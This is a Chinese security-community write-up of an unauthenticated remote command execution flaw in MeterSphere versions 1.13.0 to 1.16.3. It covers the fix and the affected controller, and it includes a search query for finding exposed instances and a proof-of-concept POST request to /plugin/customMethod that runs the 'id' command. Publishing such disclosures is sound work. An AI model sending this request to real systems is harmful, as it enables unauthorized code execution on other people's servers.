奇安信攻防社区-MeterSphere customMethod 远程命令执行漏洞

# MeterSphere customMethod 远程命令执行漏洞 ## 漏洞描述 2022年1月5日，知道创宇404积极防御实验团队发现了MeterSphere开源持续测试平台的一处漏洞，并向MeterSphere研发团队进行了反...

MeterSphere customMethod 远程命令执行漏洞
=================================

漏洞描述
----

2022年1月5日，知道创宇404积极防御实验团队发现了MeterSphere开源持续测试平台的一处漏洞，并向MeterSphere研发团队进行了反馈。通过该漏洞攻击者可以在未授权的情况下执行远程代码，建议MeterSphere平台用户，尤其是可通过公网访问的用户尽快进行升级修复

漏洞影响
----

MeterSphere v1.13.0 - v1.16.3

网络测绘
----

app="MeterSphere"

漏洞复现
----

登录页面

![img](https://shs3.b.qianxin.com/butian_public/f14420903acc16ead82ee4b959a4fee140d6ee2713317.jpg)

根据官方的修复可以看到目前版本的修复版本为删除代码片段

filterChainDefinitionMap.put("/plugin/\*\*", "anon");

```go
https://github.com/metersphere/metersphere/pull/9140/files
```

![img](https://shs3.b.qianxin.com/butian_public/f7285097eb73ace45f6612a33c9987286858dff06e2a6.jpg)

查看文件 **/backend/src/main/java/io/metersphere/controller/PluginController.java**

![img](https://shs3.b.qianxin.com/butian_public/f949239b5d592433c7f8349af7771d47282a328f32071.jpg)

发送请求包

```go
POST /plugin/customMethod

{"entry":"Evil","request":"id"}
```

![img](https://shs3.b.qianxin.com/butian_public/f500288953d3effa3985e92ad72a79971a65f2abf8808.jpg)

0 条评论